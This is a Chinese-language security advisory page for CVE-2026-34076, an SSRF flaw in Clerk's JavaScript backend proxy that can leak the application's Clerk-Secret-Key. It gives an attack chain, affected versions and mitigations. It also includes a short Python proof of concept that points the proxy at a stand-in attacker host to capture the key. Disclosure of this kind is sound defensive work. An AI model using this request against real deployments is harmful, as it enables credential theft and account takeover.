IPBUF安全漏洞报告
English
CVE-2026-34076 CVSS 7.4 高危

CVE-2026-34076 Clerk JavaScript SSRF漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34076
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Clerk JavaScript (@clerk/backend, @clerk/hono, @clerk/express, @clerk/fastify)

相关标签

SSRFClerkJavaScriptNode.js高危漏洞认证绕过

漏洞概述

Clerk JavaScript的多个后端组件(包括hono、express、fastify)中的`clerkFrontendApiProxy`函数存在SSRF漏洞。攻击者无需认证即可构造恶意请求路径,诱导代理将应用的Clerk-Secret-Key发送至攻击者控制的服务器,导致敏感凭证泄露。

技术细节

该漏洞源于`@clerk/backend`库中`clerkFrontendApiProxy`函数对请求路径的验证不严。该函数用于代理前端API请求,但在处理用户提供的路径时,未能正确过滤内网地址或外部恶意域名。攻击者可以通过构造特殊的URL路径,欺骗后端服务器向攻击者指定的目标发起请求。由于该请求携带了应用的Clerk-Secret-Key用于身份验证,攻击者一旦控制接收端,即可截获该密钥。一旦密钥泄露,攻击者可接管Clerk认证系统,伪造用户身份或篡改数据,造成严重的安全后果。

攻击链分析

STEP 1
侦察阶段
攻击者识别出目标应用使用了易受攻击版本的Clerk JavaScript库(如@clerk/backend < 3.2.3)。
STEP 2
载荷构造
攻击者准备一个特殊的HTTP请求,其中包含指向其控制服务器的恶意路径或URL参数。
STEP 3
发送请求
攻击者向目标应用的后端代理接口(clerkFrontendApiProxy)发送该恶意请求,无需任何身份认证。
STEP 4
SSRF触发
后端服务器解析恶意路径,并作为代理向攻击者指定的服务器发起请求,同时附带了用于鉴权的Clerk-Secret-Key。
STEP 5
凭证窃取
攻击者在其控制的服务器上截获包含Secret-Key的请求,从而获得目标应用的最高管理权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Concept: Triggering the SSRF to leak the secret key // This script demonstrates how an attacker might craft a request // to exploit the vulnerable clerkFrontendApiProxy function. import requests def exploit_ssrf(target_host, attacker_server): # The vulnerable endpoint typically processes paths or query parameters # to determine where to proxy the request. vulnerable_endpoint = f"{target_host}/clerk/frontend_api_proxy" # The payload is the attacker's server URL where the secret key will be sent. # The exact parameter name ('path' or 'url') depends on the implementation. params = { "path": attacker_server } print(f"[*] Sending malicious request to {vulnerable_endpoint}...") try: # Send the request. No authentication is required (PR:N). response = requests.get(vulnerable_endpoint, params=params, timeout=5) # The vulnerable server makes a backend request to 'attacker_server' # including the 'Clerk-Secret-Key' header. print(f"[+] Request sent. Check your server logs at {attacker_server} for the leaked key.") except requests.exceptions.RequestException as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" evil_server = "http://attacker-controlled.com/capture" exploit_ssrf(target, evil_server)

影响范围

@clerk/hono < 0.1.5
@clerk/express < 2.0.7
@clerk/backend < 3.2.3
@clerk/fastify < 3.1.5

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如防火墙或WAF)实施严格的出站流量控制,仅允许应用服务器访问官方Clerk API域名。同时,应密切监控日志中是否存在发往未知外部域名的异常代理请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表